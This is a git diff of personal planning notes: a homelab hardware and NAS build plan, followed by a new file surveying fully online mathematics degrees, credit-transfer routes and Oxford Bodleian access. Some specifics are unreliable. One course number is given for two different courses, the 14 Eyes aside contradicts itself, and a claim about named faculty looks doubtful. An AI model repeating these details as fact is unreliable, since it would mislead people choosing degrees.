**Chassis** — if rackmounting matters, swap into a 4U short-depth case (SilverStone RM41-H08 or similar). Otherwise keep the desktop case; it works fine sitting in a basement next to the 5,1. +6. **PSU** — current is fine for service workload. Only upgrade if adding GPU compute later (which the plan says you won't — that goes to a separate machine). + +### Realistic maxed STARGATE + +- Core Ultra 7 265K (or 285K if you want) +- 128 GB DDR5-5600 +- 4 TB NVMe boot + 4 TB NVMe data +- 10 GbE NIC to NAS +- RX 6800 XT stays (display + occasional accel, irrelevant to services) + +This destroys any used enterprise box of similar cost in per-core performance, while consuming less power and being silent. + +### Migration order (Z440 → moirai) + +1. Upgrade moirai RAM to 128 GB **first** (otherwise migration just moves the swap thrashing). +2. Install 10 GbE on moirai + on the NAS-to-be. +3. Stand up Docker / Tailscale / nginx on moirai as a parallel STARGATE. +4. Migrate services in order of blast radius (small first): + - AdGuard, Glance, Invidious + - Immich (move blobs over 10 GbE) + - n8n, Linkding + - Ghost / forge instances + - krisyotam.com and notes.krisyotam.com last +5. Update DNS / Tailscale routes once everything is verified. +6. Decommission Z440 (keep as cold spare for a few months before parting out). + +--- + +## Phase 3 — Mac Pro 5,1 NAS + +The 5,1 is the cheapest credible NAS chassis on the planet for the storage capacity. Single-CPU tray with a hex-core is the right config — dual-CPU adds heat and noise for no NAS benefit. + +### Base unit to look for + +| Spec | Target | Notes | +|------|--------|------| +| Tray | Single-CPU 5,1 (2010 or 2012, both fine after firmware flash to 5,1) | Avoid dual-tray unless you find one cheap; ZFS doesn't need 12 cores | +| CPU | Xeon W3690 (6c/12t @ 3.46 GHz) | Last supported single-CPU chip | +| RAM | 64-96 GB DDR3-1333 ECC RDIMM | 6 slots, 16 GB sticks | +| PSU | Stock 980W | Plenty for 8 drives | +| Firmware | Flashed to 5,1 if it's a 4,1 | One-time mod, well-documented | + +Target price: **$200-400 for a working empty 5,1 chassis.** Don't pay for upgrades — RAM, CPU, drives all go in aftermarket. + +### Capacity ceiling + +Internal-only, stock chassis: + +| Location | Stock | With brackets/cards | +|----------|-------|---------------------| +| 4× 3.5" sleds | 4× 3.5" HDD | unchanged | +| 2× 5.25" optical bays | empty | 4× 3.5" HDD via $15 brackets | +| PCIe NVMe (slot 1, x16) | n/a | 1-4× M.2 NVMe via adapter (cache/L2ARC) | + +**8× 3.5" HDDs internal.** At today's 24 TB drives: **192 TB raw / ~140 TB usable RAIDZ2**. At conservative 16 TB drives: **128 TB raw / ~96 TB usable**. + +### Required upgrades + +1. **HBA — LSI 9211-8i in IT mode** (~$40 used). Replaces the slow SATA II onboard ports. 8 SAS/SATA channels at SATA III speeds. ZFS prefers this. +2. **10 GbE NIC — Mellanox ConnectX-3 EN** (~$25 used) or ConnectX-4 Lx. Pairs with moirai's 10 GbE. +3. **RAM to 64-96 GB DDR3 ECC RDIMM** (single-tray takes 6 sticks). ZFS ARC loves RAM. ~$80-150 used. +4. **NVMe PCIe adapter** in slot 2 — 2× 1 TB M.2 for L2ARC + special vdev. Hugely improves metadata-heavy ops. ~$30 adapter + drives. +5. **8× 16 TB HDDs** — bulk of the cost. Buy in pairs over time; ZFS lets you expand by replacing one drive at a time. WD HC550 or Seagate Exos used pulls run $130-180 each. + +### Software + +- TrueNAS SCALE (Debian-based, official ZFS, web UI) — recommended for set-and-forget +- Or Arch + OpenZFS if you want full hands-on (matches the rest of your stack) +- Datasets: at minimum split `/photos`, `/media`, `/backups`, `/archive` +- Snapshots: hourly/daily/weekly/monthly, with zfs-auto-snapshot +- Replication: nightly `zfs send` to a Hetzner Storage Box or similar for off-site + +### Realistic build cost + +| Item | Cost | +|------|------| +| Mac Pro 5,1 empty | $300 | +| W3690 CPU | $50 | +| 96 GB DDR3 ECC | $150 | +| LSI 9211-8i HBA | $40 | +| 10 GbE NIC | $50 | +| NVMe adapter + 2× 1 TB | $130 | +| 8× 16 TB HDD | $1200 | +| Cables, brackets | $50 | +| **Total** | **~$1,970** | + +For ~$2K you get a 96 TB usable NAS in a beautiful chassis with 10 GbE to the rest of the rack. Drives are 80% of the cost. + +--- + +## Sequencing recommendation + +If acquiring everything on a budget over time: + +1. **Now / immediately:** moirai RAM upgrade to 128 GB. This unblocks the migration and stops current swap thrashing on both moirai (when it migrates) and STARGATE (after migration). +2. **Within a few months:** acquire Mac Pro 5,1 chassis + minimum upgrades + 4-6 drives. Stand up NAS, migrate bulk media off Z440's `/mnt/storage` (currently 82% full). +3. **Within a year:** acquire Mac Pro 7,1 base unit. Use as workstation while moirai handles services. Upgrade 7,1 RAM/CPU/storage incrementally as budget allows. +4. **As needed:** add 10 GbE between moirai and 5,1. Expand NAS drives in pairs. + +Total budget across all three machines, end-to-end: **$5,000-7,000** spread over 12-24 months. Result is a homelab that will last another decade. diff --git a/doc/income/academia.md b/doc/income/academia.md new file mode 100644 index 0000000000000000000000000000000000000000..b3cd2c6f5ae5eeae6f9994ef13a27f01850a22ab --- /dev/null +++ b/doc/income/academia.md @@ -0,0 +1,979 @@ +# Academia: Finding the Ivory Tower + +A long-term institutional home for a mathematician who wants pure research, beauty, remoteness, and distance from the 14 Eyes intelligence alliance. Filtered for IAS-archetype institutes, ranked for "call home" fit, and anchored to a realistic path that begins with a US undergraduate degree. + +## 1. The 14 Eyes Context + +The 14 Eyes is an informal SIGINT-sharing pyramid built on the Five Eyes core (US, UK, Canada, Australia, New Zealand), extended by the Nine Eyes (adding Denmark, France, Netherlands, Norway), and finally the Fourteen Eyes / SIGINT Seniors Europe (adding Germany, Belgium, Italy, Spain, Sweden). Membership implies routine bulk-metadata sharing and legal regimes that compel cooperation with national signals agencies. The filter is not paranoia, it is selection: institutions in 14 Eyes states sit inside legal and infrastructural plumbing that is incompatible with a research life designed to be quiet, sovereign, and outside the dragnet. + +**The 14 to exclude:** US, UK, Canada, Australia, New Zealand, Denmark, France, Netherlands, Norway, Germany, Belgium, Italy, Spain, Sweden. + +**Adjacent intel partners that are NOT in the 14 Eyes but cooperate via Tier B / SIGINT Seniors Pacific:** Japan, South Korea, Singapore, India, Thailand. These are not formal 14 Eyes members, so they remain in scope, but they are intelligence-adjacent. Treat them as "non-14 but networked." For most practical purposes (data residency, jurisdictional reach, daily life), they are still substantially freer than 14 Eyes states. + +Mexico is excluded by Kris's hard constraint independent of intel posture. Cuba, Iran, and DPRK are sanctioned for US citizens in ways that make practical affiliation enormously difficult, regardless of intel status. Switzerland, Austria, Finland, Ireland, Portugal, Iceland, Czech Republic, and Greece are **inside Europe but outside the 14 Eyes** and frequently overlooked; they form a "European loophole" for the criteria. + +## 2. Undergraduate: Fully Online Mathematics B.S. Deep Dive + +Everything in Sections 3 through 10 assumes Kris already holds (or is finishing) a US-recognized B.S. in Mathematics. This section is the upstream problem: how to acquire that degree from a fixed US address, fully remotely, cheaply, with the right tooling, and ideally with some thread of Oxford adjacency. + +The 14 Eyes filter is intentionally *suspended* for this section. The undergrad is a US-resident operation by definition (Kris is staying in the US during this phase), and the strongest fully-online math degrees happen to be in 14 Eyes jurisdictions (US, UK, South Africa is non-14E, India is non-14E). For graduate study and after, the 14 Eyes filter resumes. + +### 2.1 Hard requirements (recap) + +1. **B.S. in Mathematics** with as much pure-math content as the program allows (real analysis, abstract algebra, topology, number theory, complex analysis). Programs that only offer "applied math" coded as data science or business analytics are out. +2. **100% remote completion possible.** Hybrid is insufficient. Even if Kris attends in person initially, the institution must let him finish remotely. Verified per program below. +3. **Recognized accreditation** such that the degree is accepted for US graduate-school applications. In the US this means regional accreditation (HLC, SACSCOC, MSCHE, WSCUC, NEASC, NWCCU). In the UK this means a UK-recognized degree-awarding body. Internationally this is checked against WES / ECE evaluability. + +### 2.2 Nice-to-haves (researched in detail below) + +- Lifetime `@institution.edu` (or equivalent) inbox, not a forwarder. +- Free hosted academic page (`mathematics.school.edu/~kris` style) while enrolled and as alumni. +- Tooling: GitHub Student Pack, Azure for Students, AWS, GCP, Wolfram, MATLAB TAH, JetBrains, Cursor, Notion, Overleaf Pro, Figma. +- Oxford adjacency. Bodleian access, OUDCE certificate enrollment in parallel, visiting-student exchanges, or anything else that legitimately puts Kris near Oxford resources during the undergrad years. + +### 2.3 Tier 1 programs: detailed profiles + +Each profile answers the same five questions: (a) is the full B.S. in Mathematics deliverable 100% online with zero residency, (b) how much pure math is in the actual curriculum, (c) total tuition for a US citizen, (d) accreditation status, (e) lifetime email / hosting / tooling posture. + +#### 2.3.1 University of Florida Online: B.S. Mathematics + +- URL: https://distance.ufl.edu/online-degrees/bachelor-of-science-in-mathematics/ +- Program page (department): https://people.clas.ufl.edu/mathadvising/online-program/ +- Accreditation: SACSCOC (regional, top tier). +- Residency requirement: **None.** UF Online is fully online with no campus visits required for the math B.S. +- Pure-math content: UF's online catalog mirrors the on-campus B.S. requirements. Real Analysis (MAA 4226 or MAA 4211/4212), Abstract Algebra (MAS 4301/4302), Topology (MTG 4302), Complex Analysis (MAA 4402), Number Theory (MAS 4203). UF is one of the few online programs with the full pure sequence available on-demand. +- Total tuition for a Florida resident: roughly $130 per credit, ~$15,500 for 120 credits. For non-Florida residents, UF Online charges a reduced out-of-state rate: about $500 per credit, ~$60,000 for 120 credits. Worth pricing residency options if Kris is willing to establish Florida residency. +- Lifetime email: UF gives a `@ufl.edu` GatorMail while enrolled and a forwarding `@ufl.edu` after graduation through the "ForUFL" service. Full mailbox access ends ~1 year post-graduation, but the address itself is retained as a forwarder for life. UF alumni status is permanent. +- Hosting: UF CISE provides home directories for CS majors; math majors generally do not get hosting accounts by default. There is no widely advertised `~username` hosting for math undergrads. +- Tooling: UF site licenses Mathematica, MATLAB (TAH), SAS, SPSS, Microsoft Office. Free Adobe Creative Cloud was historically available; check current state. UF `@ufl.edu` qualifies for GitHub Student Pack, Azure for Students, JetBrains, Notion, Cursor for students. +- Oxford adjacency: None institutional. SCONUL Access does not extend to Florida-based undergrads. + +#### 2.3.2 Open University (UK): BSc (Honours) Mathematics (Q31) + +- URL: https://www.open.ac.uk/courses/maths/degrees/bsc-mathematics-q31 +- Accreditation: UK degree-awarding body recognized by the Privy Council. Globally accepted. WES-evaluable. +- Residency requirement: **None.** OU has been the world's reference distance university since 1969. No residential element required for the Q31 honours. +- Pure-math content: Strong. The Q31 includes Pure Mathematics (M208 sequence), Analysis (M337 Complex Analysis), Number Theory (M303), Linear Statistical Modelling and Optimization options, Group Theory and Galois Theory via M303, and a final-year project. M208 + M303 + M337 is a competitive pure-math core by international standards. +- Total tuition for an "international" student (Kris from the US): OU charges international/EU students higher fees. As of the 2025/26 cycle, full BSc fees for international distance students are about £6,924 per stage (60 credits/stage = part-time year). Six stages part-time = about £41,500. Faster track (3 stages full-time, 120 credits each) brings it slightly down. The "fees from rest of world" page is the source: https://www.open.ac.uk/courses/fees-and-funding +- For a US student paying out of pocket and no UK government loan eligibility, total cost ranges $50,000 to $60,000 USD depending on exchange rate and pace. +- Lifetime email: OU gives `firstname.lastname@open.ac.uk` while studying. Alumni *do not* automatically retain `@open.ac.uk` accounts. The OU Alumni Association issues alumni cards but no permanent email. +- Hosting: None institutional. +- Tooling: OU students get Microsoft Office 365 (with `@open.ac.uk` email), and `@open.ac.uk` is `.ac.uk` so it qualifies for GitHub Student Pack, JetBrains, Azure for Students, Notion, Cursor for students. Wolfram and MATLAB depend on OU's current site licenses; OU runs Maxima and SageMath in coursework and has historically provided MATLAB site access for relevant courses. +- Oxford adjacency: Weak but real. SCONUL Access lets UK university students apply for reciprocal access to other UK academic libraries, including the Bodleian's reading rooms in some categories. OU undergrads are eligible for SCONUL Band A or B depending on level. This does not extend to Bodleian's restricted collections or remote SOLO database access, but it does mean an OU student who travels to Oxford can apply for a Bodleian reader card via the SCONUL route, which is the cheapest legitimate door into the Bodleian as a non-Oxford-member. Details: https://www.sconul.ac.uk/sconul-access + +#### 2.3.3 University of London (UoL) International Programmes: BSc Mathematics and Economics, BSc Data Science and Business Analytics + +- URL: https://london.ac.uk/courses/mathematics-and-economics +- Academic direction: London School of Economics (LSE) for the Math and Economics route; Goldsmiths or Royal Holloway depending on program. +- Accreditation: University of London is a federal university with degree-awarding powers. The degree certificate reads "University of London" and lists the lead college. +- Residency requirement: **None.** Designed for distance learners since 1858. +- Pure-math content: The "Mathematics and Economics" route includes Calculus, Linear Algebra, Real Analysis (MT2116 Abstract Mathematics, MT3041 Advanced Mathematical Analysis), and selected pure options. It is *not* a pure-math degree, it is a math + econ blend. There is **no** stand-alone "BSc Mathematics" pure-track in the current UoL distance catalog. This is a significant limitation. For Kris (pure-math priority) this is a second-tier fit. +- Total tuition: International students pay around £6,300 to £8,500 total for the full BSc (extremely cheap by US standards) for the standard fee route. Source: https://london.ac.uk/applications/how-it-works/fees +- Lifetime email: No automatic lifetime `@london.ac.uk` for distance program alumni. +- Hosting: None institutional. +- Tooling: `@london.ac.uk` student emails do qualify for most vendor student programs (GitHub, Azure, JetBrains, Cursor). Verify on enrollment. +- Oxford adjacency: SCONUL Access (Band B/C) extends to UoL distance students with proof of enrollment. Same caveat as OU: physical reading-room access at Oxford requires showing up. + +#### 2.3.4 University of South Africa (UNISA): BSc with Mathematics major + +- URL: https://www.unisa.ac.za/sites/corporate/default/Apply-for-admission/Undergraduate-qualifications/Find-your-qualification/Bachelor-of-Science-in-Mathematics +- Accreditation: Council on Higher Education (CHE), South Africa. Internationally recognized; WES-evaluable. +- Residency requirement: None. UNISA is the world's largest open-distance university by enrollment (~370,000 students). +- Pure-math content: Strong. UNISA's mathematics syllabus (MAT modules) covers real and complex analysis, abstract algebra, topology, number theory, differential geometry. Faculty is research-active. UNISA was where Riad Masri, Charles Wessell, and others have taught. +- Total tuition for a US citizen: UNISA charges international students roughly $1,500 to $2,500 per year total. Full BSc completion: roughly $5,000 to $8,000 USD across 3 years. This is by far the cheapest accredited fully-online BSc Math option that is academically serious. +- Lifetime email: UNISA issues `studentnumber@mylife.unisa.ac.za` while enrolled. Alumni do not automatically retain it. +- Hosting: None. +- Tooling: `@mylife.unisa.ac.za` is generally accepted by GitHub Student Pack, Azure for Students, JetBrains, Notion. Some vendors flag non-`.edu` and non-`.ac.uk` addresses, so individual approval is case-by-case. Wolfram Alpha Pro for Students typically accepts UNISA emails. +- Oxford adjacency: None. +- US grad-school caveat: WES will evaluate a UNISA BSc as equivalent to a US BSc. However, admissions committees at top US grad programs may apply extra scrutiny to a non-US, non-UK, distance-only degree. The math is real; the prestige perception varies. UNISA produces published mathematicians; that record is the best counter to the perception issue. + +#### 2.3.5 Indira Gandhi National Open University (IGNOU): BSc with Mathematics + +- URL: http://www.ignou.ac.in/ignou/aboutignou/school/sos/programmes/detail/213/2 +- Accreditation: UGC India, NAAC A++. Recognized internationally; WES will evaluate. +- Residency requirement: None for the BSc General program; some IGNOU programs have local-study-center requirements that do not apply abroad. +- Total tuition: Approximately ₹14,000 for the entire 3-year BSc (~$170 USD total). This is the absolute floor of cost. +- Pure-math content: The BSc-General with Math major covers calculus, real analysis, algebra, linear algebra, complex analysis, differential equations, mathematical modeling. Less depth than UNISA in pure topology and abstract algebra at honors level. +- US grad-school recognition: WES evaluates IGNOU degrees, but admissions committees at competitive US PhD programs *do* discount IGNOU on average. This is the honest answer. The credential is real; the prestige perception is weakest of the Tier 1 list. +- Lifetime email, hosting, tooling: Minimal. IGNOU does not reliably issue `@ignou.ac.in` student email; many students operate with personal Gmail. +- Verdict: Only competitive on price. Use as a cheap supplemental credential, not a primary US-grad-track BSc. + +#### 2.3.6 Arizona State University Online: B.S. in Mathematics + +- URL: https://asuonline.asu.edu/online-degree-programs/undergraduate/mathematics-bs/ +- Accreditation: HLC (regional). +- Residency requirement: None. +- Pure-math content: Real Analysis I (MAT 371), Abstract Algebra I (MAT 444), Topology (MAT 472), Complex Analysis (MAT 475), Number Theory (MAT 419). Available online via ASU Online. ASU's online math program is one of the most complete pure-math options among large US online programs. +- Tuition: Out-of-state online rate ~$561 to $661 per credit, total ~$67,000 to $79,000 for 120 credits. Higher than UF. +- Lifetime email: ASU offers `@asu.edu` mailbox to current students and `@asualumni.asu.edu` to alumni; the `@asu.edu` address is retained as a Google Workspace forwarder indefinitely. ASU has historically been generous with retained Gmail accounts for alumni. +- Tooling: ASU site-licenses MATLAB TAH, Mathematica, Maple, full Microsoft and Adobe suites. `@asu.edu` qualifies for everything. +- Oxford adjacency: None directly. ASU has a partnership with King's College London ("ASU + King's College London") but not Oxford. + +#### 2.3.7 Indiana University East: B.S. in Mathematics (online) + +- URL: https://www.iue.edu/programs/online-mathematics-degree-bachelor.html +- Accreditation: HLC. +- Residency: None. +- Pure-math content: Real Analysis (MATH M413), Abstract Algebra (MATH M403), Linear Algebra (MATH M301), Number Theory (MATH M380), Complex Variables (MATH M312). The IU East online B.S. Math is one of the longest-running pure-track-friendly online math degrees in the US (running since 2008). +- Tuition: Out-of-state online ~$346 per credit, total ~$41,500 for 120 credits. Very competitive. +- Lifetime email: IU offers permanent `@alumni.iu.edu` and IU has historically been generous with retained `@iu.edu` access. IU is one of the better US schools for lifetime email continuity. +- Tooling: IU site licenses Maple, Mathematica, MATLAB, plus Microsoft and Adobe. `@iu.edu` qualifies for all student programs. +- Oxford adjacency: None directly. + +#### 2.3.8 University of Illinois Springfield: B.A./B.S. in Mathematical Sciences (online) + +- URL: https://www.uis.edu/mathematical-sciences/mathematical-sciences-bachelor-arts +- Accreditation: HLC. +- Residency: None. +- Pure-math content: UIS offers real analysis, abstract algebra, complex analysis, topology in its online catalog, though some upper-division courses rotate on a 2-year cycle. Verify the rotation matches your timeline. +- Tuition: ~$364 per credit for online, ~$44,000 total. +- Lifetime email: UIS issues `@uis.edu`; alumni access policy is less generous than IU. + +#### 2.3.9 Oregon State University Ecampus: B.S. Mathematics + +- URL: https://ecampus.oregonstate.edu/online-degrees/undergraduate/mathematics/ +- Accreditation: NWCCU. +- Residency: None. +- Pure-math content: Real Analysis (MTH 311/312), Abstract Algebra (MTH 343/344), Topology, Complex Analysis, Number Theory available. OSU Ecampus is one of the strongest online math programs in the US for pure-math depth. +- Tuition: ~$361 per credit, ~$43,000 total. +- Lifetime email: `@oregonstate.edu` retained for alumni (Google Workspace). +- Tooling: Full OSU site licenses including MATLAB TAH, Mathematica. + +#### 2.3.10 Penn State World Campus: B.S. options (no pure BS Math fully online) + +- URL: https://www.worldcampus.psu.edu/ +- As of 2026, Penn State World Campus does **not** offer a fully online B.S. in Mathematics. They offer a B.A. in Letters, Arts and Sciences with math content, and an online B.S. in Data Sciences. The pure-math B.S. is on-campus only. +- Penn State `@psu.edu` lifetime email *is* one of the best in US higher ed; alumni keep `@psu.edu` Gmail indefinitely. +- Verdict for Kris: skip unless plans change. + +#### 2.3.11 University of Maryland Global Campus (UMGC): B.S. Math: not offered + +- UMGC offers degrees in Data Analytics, Computer Science, Computer Networks. No B.S. in Mathematics. Skip. + +#### 2.3.12 Western Governors University (WGU) + +- WGU is competency-based, accredited (NWCCU), and known for B.S. in IT, business, and education. **No B.S. in Mathematics** is offered. WGU offers a B.S. in Math Education (teacher prep). Not a research-mathematics BSc. Skip. + +#### 2.3.13 SUNY Empire State College: Individualized Studies with Mathematics concentration + +- URL: https://www.esc.edu/degrees-programs/undergraduate/individualized-studies/ +- Accreditation: MSCHE. +- Residency: None. +- Empire State allows the student to define an individualized degree with a mathematics concentration. This is *not* a guaranteed-curriculum B.S. Math; it's a B.S. where Kris would have to assemble a credible upper-division pure-math sequence himself (potentially by transferring in StraighterLine / Study.com / community-college credits and combining with Empire State's own offerings, which are thin on pure math). +- Tuition: ~$363 per credit out-of-state online. Total ~$43,500. +- Use case: prior-learning-assessment heavy candidates who already have lots of credit can finish here fast. Not ideal for someone starting from zero who wants a rigorous pure-math sequence. + +#### 2.3.14 Athabasca University: Bachelor of Science (Mathematics major) + +- URL: https://www.athabascau.ca/programs/summary/bachelor-of-science-mathematics-major.html +- Accreditation: Province of Alberta, Canada (Athabasca is a public Canadian university with full degree-granting authority); recognized internationally and WES-evaluable. +- Residency: None. +- Pure-math content: Real Analysis (MATH 376/476), Linear Algebra II, Abstract Algebra (MATH 365/465), Topology (MATH 471), Complex Variables (MATH 376). Good pure-math depth. +- Tuition: International student rate ~CAD $1,200 per 3-credit course; full B.S. ~CAD $42,000 (~$31,000 USD). +- Lifetime email: Athabasca issues `@athabasca.edu` (formerly `@learn.athabascau.ca`) and offers an alumni `@my.athabascau.ca`. Lifetime email retention is not guaranteed; verify with current Athabasca alumni services. +- Tooling: GitHub Student Pack accepts Athabasca emails. + +#### 2.3.15 Colorado State University Global: no pure math BS + +- CSU Global offers business analytics and applied data, no B.S. Mathematics. Skip. + +#### 2.3.16 University of the People: no math BS + +- URL: https://www.uopeople.edu/ +- Accreditation: WSCUC and DEAC. +- Tuition: ~$120 per course assessment fee; full BSc ~$3,500 total. Cheapest US-accredited online option in absolute terms. +- However: UoPeople does **not** offer a B.S. in Mathematics. Programs are Business, CS, Health Science, Education. Skip unless plans change. + +#### 2.3.17 Southern New Hampshire University (SNHU) Online: B.A. Mathematics + +- SNHU offers a B.A. (not B.S.) in Mathematics fully online. Curriculum is mid-tier; pure-math depth is weaker than ASU/OSU/IU East. Tuition $320 per credit, ~$38,400 total. +- Verdict: cheap and accessible but pure-math depth is the weakest of the credible US options. + +#### 2.3.18 Liberty University Online: B.S. Mathematics + +- URL: https://www.liberty.edu/residential/mathematics/bachelors/ +- Liberty *does* offer an online B.S. Mathematics. Tuition is reasonable (~$390 per credit). +- **Flag:** Liberty is a private evangelical Christian institution with mandatory doctrinal statements students must affirm, and a politicized administration. Per the user's filter (no Christian / political / ideological universities), Liberty is excluded. Listed here only to acknowledge it exists in the search space. + +#### 2.3.19 Mercy College, Bellevue University, Excelsior College + +- Mercy: B.S. Math is on-campus only. No online option. +- Bellevue: B.S. Math is not in their catalog (they offer Data Science, Cybersecurity). +- Excelsior University (formerly Excelsior College): offers a "Liberal Arts with Mathematics concentration" online but not a dedicated B.S. Mathematics. Excelsior is one of the "Big 3" credit aggregators (see Section 2.5). + +### 2.4 Comparison table: Tier 1 fully-online B.S. Math options + +| Program | Pure math depth | 100% remote | Total cost USD | Lifetime email | Tooling tier | Notes | +|---|---|---|---|---|---|---| +| **UF Online** | Strong (full sequence) | Yes | $15.5k (FL res) / $60k (non-FL) | `@ufl.edu` forwarder | A (.edu, full TAH) | SACSCOC; best US option if FL residency feasible | +| **Open University UK** | Strong (M208/M303/M337) | Yes | ~$50–60k | While enrolled only | A (.ac.uk) | Best non-US option; SCONUL door to Bodleian | +| **UNISA** | Strong | Yes | ~$5–8k | While enrolled only | B (vendor case-by-case) | Cheapest serious BSc; perception headwind for US PhD | +| **Arizona State Online** | Strong | Yes | ~$67–79k | `@asu.edu` retained | A | Strongest US online math curriculum; expensive | +| **Indiana U East** | Strong | Yes | ~$41.5k | `@alumni.iu.edu` permanent | A | Longest-running online BSc Math in US | +| **Oregon State Ecampus** | Strong | Yes | ~$43k | `@oregonstate.edu` retained | A | Excellent pure-math sequence | +| **UIS** | Moderate | Yes | ~$44k | While enrolled | A | Pure-math options rotate on 2-yr cycle | +| **Athabasca** | Strong | Yes | ~$31k | While enrolled | A | Canadian; smaller than UoL/OU | +| **UoL Intl** | Weak (Math+Econ blend) | Yes | $8–11k | While enrolled | A | Cheap; degree from LSE-led federation; pure-math thin | +| **IGNOU** | Moderate | Yes | ~$170 | None | C | Absolute price floor; prestige weakest | +| **SUNY Empire** | DIY-assembled | Yes | ~$43.5k | Variable | A | Only good if transferring in lots of credit | +| **SNHU** | Weak (BA, applied) | Yes | ~$38.4k | While enrolled | A | Not recommended for pure | +| **Liberty** | Strong | Yes | ~$47k | While enrolled | A | EXCLUDED on ideological grounds | + +### 2.5 Transfer-in routes and the "Big 3" accelerators + +The cheapest *and* fastest path to an accredited US B.S. Math is not to enroll directly. It is to accumulate ~60–90 credits via cheap third-party providers and then transfer those credits into a program that maximally accepts them. The infrastructure: + +**Credit-by-exam providers (cheap, accelerated):** + +- **CLEP** (College Board): https://clep.collegeboard.org/, $93 per exam, covers calculus, college algebra, precalculus, college mathematics. Each exam = 3 credits typically. +- **DSST** (Prometric/DANTES): https://www.getcollegecredit.com/, similar to CLEP, $100 per exam. +- **Saylor Academy** (https://www.saylor.org/), free courses, $25 proctored exam, ACE-credit-recommended. Covers calculus, real analysis I, abstract algebra at low cost. Acceptance varies. +- **Study.com** (https://study.com/), ~$200/mo, transcripts via ACE. Math courses include college algebra, precalculus, calculus, linear algebra, abstract algebra. +- **StraighterLine** (https://www.straighterline.com/), ~$99/mo + $59 per course. Calculus, statistics, linear algebra. +- **Sophia Learning** (https://www.sophia.org/), $99/mo unlimited courses, ACE-credit. Up to 30 credits/year possible. +- **Modern States Education Alliance** (https://modernstates.org/), free CLEP prep + free exam voucher. Use this to take CLEP exams essentially for free. + +**The Big 3 credit aggregators:** institutions that accept enormous amounts of external credit and let you finish a B.S. with relatively little in-house coursework. + +- **Thomas Edison State University (TESU)**, https://www.tesu.edu/, accepts unlimited CLEP/DSST, up to 80 credits via prior learning assessment. Their B.A. in Mathematics is fully online; B.S. is also offered. Tuition for residency-only "comprehensive" rate is around $9,000/yr for in-state, ~$15,000 for out-of-state per year, plus per-credit transfer evaluation fees. +- **Excelsior University**, https://www.excelsior.edu/, similar model. Their "Liberal Arts with Math concentration" is the available online offering for math content. +- **Charter Oak State College** (Connecticut), https://www.charteroak.edu/, accepts CLEP, DSST, and ACE-credit. B.S. with Math concentration. + +**The accelerated stack model:** + +1. Spend 6–12 months at $99/mo on Sophia + StraighterLine + Saylor + Study.com. Knock out 30–60 lower-division credits at total cost under $2,500. +2. Take 8–10 CLEP/DSST exams via Modern States vouchers, mostly free. +3. Enroll in TESU or a transfer-friendly state online program (Oregon State Ecampus and ASU Online both have favorable transfer policies up to 90 credits). +4. Complete the upper-division pure-math sequence (real analysis, abstract algebra, topology, complex analysis) at the host institution. This is the part that cannot be CLEP'd. +5. Total time: 18–30 months. Total cost: $8,000 to $20,000. + +This stack matters because it converts the "expensive US online BS" entries above into something competitive on price with UNISA, while keeping the US accreditation and `.edu` email advantages. + +### 2.6 Oxford adjacency: what is actually possible + +Honest investigation, not marketing. The user weighted this heavily; the answer is mostly "less than you'd hope, but here are the real doors." + +**2.6.1 No fully-online B.S. Math program has a formal academic partnership with Oxford.** Oxford does not endorse, accredit, or partner with any distance B.S. Math. This is unambiguous after thorough search. + +**2.6.2 Oxford Department for Continuing Education (OUDCE)**, https://www.conted.ox.ac.uk/ + +OUDCE is Oxford's adult-education arm and is the only legitimate way to be an enrolled Oxford student part-time, online, in parallel with another degree. Relevant offerings: + +- **Online weekly classes** in mathematics-adjacent subjects: history of mathematics, mathematical philosophy, logic. ~£200–400 per 10-week course. Not pure math typically. +- **Online short courses** through the OUDCE: https://www.conted.ox.ac.uk/courses/?_courses_format=online +- **Undergraduate Certificate of Higher Education and Diploma in Higher Education** programs: these are formal Oxford qualifications taken part-time, often online. The Certificate of Higher Education in Mathematics for Finance and Management is one offering, but it is finance-coded, not pure-math-coded. Pure mathematics Certificate / Diploma is *not* a current OUDCE offering. +- **Oxford University Summer Schools** (OUSSA, Oxford University Summer School for Adults): in-person residential 1- to 3-week courses. Math content rotates yearly. + +When an OUDCE student is enrolled, they receive an **Oxford SSO** (Single Sign-On) account, which provides: +- An Oxford email address (typically `firstname.lastname@conted.ox.ac.uk`) +- Access to **SOLO** (Search Oxford Libraries Online) for the duration of enrollment +- **Bodleian Reader access**: OUDCE students are entitled to Bodleian Library reader cards for the duration of their course, with access to the Bodleian's reading rooms and most non-rare-book collections +- Access to Oxford's online journal subscriptions (Oxford Journals, JSTOR via Bodleian, MathSciNet via Bodleian's licenses) + +**This is the single most cost-effective Oxford-adjacency path Kris can take.** A £400 OUDCE 10-week course buys him a real Oxford SSO and Bodleian access for that term. Repeating courses each term sustains the access. + +**2.6.3 Oxford Online Programmes via Saïd Business School**, https://www.sbs.ox.ac.uk/programmes/executive-education/online-programmes + +These are short executive courses, not academic. Irrelevant for math. Mentioned because they show up in searches. + +**2.6.4 Bodleian Reader Cards for non-Oxford-members**, https://visit.bodleian.ox.ac.uk/visit/readers + +The Bodleian is one of the world's great copyright libraries. External readers (i.e., not enrolled at Oxford) can apply for reader cards: + +- **Day reader**: free for 1 day if researching for serious purpose. https://visit.bodleian.ox.ac.uk/visit/readers/non-oxford-readers +- **Short-term reader card** (up to 6 months): £40, requires demonstrated research purpose plus references. +- **Long-term external reader card** (annual): £80–£150 depending on collections accessed. + +To qualify, an applicant submits an application with two references, identification, and a statement of research purpose. Independent scholars, alumni of UK universities (via SCONUL), and self-funded researchers regularly qualify. **A Kris Yotam who maintains a public mathematics writing presence at krisyotam.com, submits papers to the arXiv, and lists serious research questions in his application has a perfectly normal Bodleian Reader Card application.** Many independent scholars and authors are reader-card holders. + +What the reader card gets you: +- Physical reading-room access at the Bodleian, Radcliffe Camera, Old Bodleian, Weston Library, Sackler, and Taylorian +- SOLO search and request access on-site +- Most digitised collections accessible from reading rooms; some accessible from external IP via Bodleian's e-resources for *registered readers* (verify with Bodleian on application) + +The reader card does **not** include Oxford academic email or college membership. It is a library affiliation. + +**2.6.5 SCONUL Access**, https://www.sconul.ac.uk/sconul-access + +UK university students at participating institutions (OU, UoL, every Russell Group) can apply for SCONUL Access to use other UK academic libraries, including the Bodleian (subject to Bodleian's separate approval). Bands: + +- Band A: full borrowing rights at most member libraries (for postgraduate research students and academic staff) +- Band B: borrowing rights at many libraries (taught postgraduates and final-year undergrads) +- Band C: reference-only access (other undergrads) + +An OU or UoL undergrad would typically qualify at Band B or C, which lets them apply at the Bodleian for external reader access via a streamlined SCONUL route. Confirmed by Bodleian: https://www.bodleian.ox.ac.uk/using/cards/sconul + +**2.6.6 Oxford Visiting Student status** + +The Oxford Visiting Student Program 